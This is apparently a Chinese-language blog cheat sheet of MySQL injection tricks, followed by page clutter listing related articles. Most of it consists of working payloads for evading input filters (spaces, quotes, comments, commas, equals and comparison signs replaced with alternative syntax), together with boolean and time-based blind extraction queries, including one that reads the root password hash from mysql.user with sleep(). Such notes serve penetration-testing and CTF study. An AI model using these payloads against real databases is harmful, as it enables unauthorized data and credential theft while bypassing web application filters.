MYSQL注入技巧备忘录
MYSQL一些技巧
仅仅是作为自己备忘录,如果错误,敬请斧正。
0)基础饶过
1.大小写绕过
2.双写绕过
3.添加注释 /*!*/ or /*!小于mysql版本*/
5.宽字节、Latin1默认编码
Latin1编码:
[Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有
而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略。
于是我们可以输入?username=admin%c2,存储至表中就变为了admin上面的%c2可以换为%c2-%ef之间的任意字符]
1)过滤空格
反引号
SQL> select * from`user`;
括号
SQL> 'and(true)like(false)union(select(pass)from(users))#
/**/
SQL>select*from/**/users;
and/or后面可以跟上偶数个!、~可以替代空格,可以混合使用(混合后规律又不同),and/or前的空格可以省略
'or- -!!!1=1;
select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格。
下面逗号是两列的意思 1e0占了第二列,同样,上面的1E0可以用1.0代替。
select A,1E0fromB
\N 绕过,绕过NULL,因为\N相当于NULL
select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');
空格还可以使用如下替代:
在php中 \s 会匹配0x09,0x0a,0x0b,0x0c,0x0d,0x20
09:Horizontal Tab
0A:New Line
0B:Vertical Tab
0C:New Page
0D:Carriage Return
A0:Non-breaking Space
20:Space
a0:空格
2B:+
2)过滤单引号:
3)过滤注释符
;%00 空字节
` 反引号
\# 哈希值
-- x SQL 语法[x为任意 前面有一个空格]
只要闭合单引号或者其他就行 and 'x'='x
shch as:
条件苛刻 报错测试用不了 union可以的。其他没测试,盲注时需要加@。
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`' limit 0,1;
4)过滤逗号
1、在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
2、点击我查看Join绕过逗号
3、使用like
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
有就返回1 无返回0
4、对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
5、case when then
select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #
https://blog.csdn.net/zz_Caleb/article/details/88933173
5)过滤等号
find_in_set(mid(user(),1,1),'a,b,c,d') 如果当前用户的第一个字符不在 'a,b,c...' 字符串中,返回0;如果在字符串中,则返回那个字母的索引。如图,r 在字符串中第18个位置。
数据库中,索引的位置返回时间。

实战中要测试,最开始没有R的时候需要2S,然后加上R就是7,而R的位置是5。


mid(user(),1,1) 返回当前用户的第一个字符,如果当前用户第一个字符在集合后面,返回1,否则返回0。
数据库中

ord(1)=49,ord(0)=48。所以正确就返回7s。
实战测试中

1)regexp操作符用于配匹正则表达式, id regexp 1 与 id = 1 效果一样
2)<>等价于!= 所以在前面加一个!结果就是等号 !(id<>1) 与 id = 1 效果一样
3)使用大小于号来绕过,id > 1 and id < 3 与 id = 1 效果一样
4)不加通配符的like、rlike执行的效果和 = 一致
5)between a and b :范围在a-b之间 id between 1 and 1 与 id = 1 效果相同
6)过滤过滤比较符号 ( < 和 > )
使用greatest()、least()函数绕过
greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

看上面的截取,第一位和第二位显示。
使用between a and b :范围在a-b之间
select * from users where id=1 and (ascii(substr(database(),1,1))) between 1 and 190;
使用strcmp(str1,str2)
若所有的字符串均相同,则返回
STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

7)等价函数变量饶过
1.hex()、bin() ==> ascii()
2.sleep() ==>benchmark()
3.concat_ws()==>group_concat()
4.mid()、substr() ==> substring()
5.@@user ==> user()
6.@@datadir ==> datadir()
7.@@version ==> version()
8.&&==>and
9.||==>or
10.|==>xor
8)异或注入
在and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。

1^1=0 1^0=0 其他的自己测。数据库select 1^0;就可以
9)information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema
JOin也是可以的。
推荐:https://xz.aliyun.com/t/7169#toc-20
https://mp.weixin.qq.com/s/vdUoQU2WS7zf0EKHFYKNvg
骚姿势:https://xz.aliyun.com/t/5505
MYSQL注入技巧备忘录的更多相关文章
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)
默认存在的数据库: mysql 需要root权限读取 information_schema 在5以上的版本中存在 测试是否存在注入方法 假:表示查询是错误的 (MySQL 报错/返回页面与原来不同) ...
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- 【mysql注入】mysql注入点的技巧整合利用
[mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...
- MySQL注入总结
SELECT first_name, last_name FROM users WHERE user_id = '$id' 1.id=1' or 1=1 -- 这个可以查询所有的信息,其中“- ...
- MySQL注入与防御(排版清晰内容有条理)
为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...
- Mysql注入小tips --持续更新中
学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...
- MySQL注入技巧性研究
0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...
- MySQL注入与防御
1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...
随机推荐
- 『动善时』JMeter基础 — 31、JMeter中BeanShell断言详解
目录 1.BeanShell简介 2.Beanshell的内置变量和方法 3.BeanShell断言界面详解 4.BeanShell断言的使用 (1)测试计划内包含的元件 (2)登陆接口请求界面内容 ...
- 【六】K8s-Pod 水平自动扩缩实践(简称HPA)
一.概述 Pod 水平自动扩缩(Horizontal Pod Autoscaler)简称 HPA,HPA 可以根据 CPU 利用率进行自动伸缩 Pod 副本数量,除了 CPU 利用率,也可以基于其他应 ...
- 微服务架构(Microservices) ——Martin Flower
不知不觉到达了Sring Boot的学习中了,在学习之前,了解微服务架构是很有必要的,对于自己提升今后面试的软实力有很大帮助,在此写下. 让我们接下来看下Martin Flower 如何解释微服务架构 ...
- Go string 详解
前言 字符串(string) 作为 go 语言的基本数据类型,在开发中必不可少,我们务必深入学习一下,做到一清二楚. 本文假设读者已经知道切片(slice)的使用,如不了解,可阅读 Go 切片 基本知 ...
- Camera噪声问题
Camera噪声问题 Camera RGB 域的噪声 以上部分属于sensor processing,接下来的部分属于color.luminance processing. gamma gamma是在 ...
- TcaplusDB祝大家端午安康!
"五月五,端午到,赛龙舟,真热闹.吃粽子,带香包,蚊虫不来身边闹."这首脍炙人口.描绘着端午节风俗的儿歌,想必大家都听过. 每年的农历五月初五,是我国四大传统节日(春节.清明节.端 ...
- 解决:django.core.exceptions.ImproperlyConfigured: Requested setting INSTALLED_APPS, but settings are not 的方法
错误类型: 该错误是在在创建Django工程时出现遇到的错误 完整报错信息:(博文标题输入长度有限制) django.core.exceptions.ImproperlyConfigured: Req ...
- 教你三种jQuery框架实现元素显示及隐藏动画方式
摘要:在jQuery框架中对元素对象进行显示和隐藏有三种方式,分别是"默认方式显示和隐藏"."滑动方式显示和隐藏"."淡入淡出显示和隐藏". ...
- PTA4-6题目集总结与归纳
前言: 继上篇blog所写的几种日期的求法,这次是把那几种聚合起来,即日期类的聚合设计.除下这类,一种是图形继承设计的3种变化,还有一种是3次对正则表达式的应用.当然,作为一个菜鸟,还是无法写成大佬的 ...
- 安装ogg软件报错:[INS-75012]Sofware Location specified is already an existing Oracle
1.安装ogg软件时报错: [INS-75012]Sofware Location specified is already an existing Oracle 2.根据报错,是说我们选择ogg软件 ...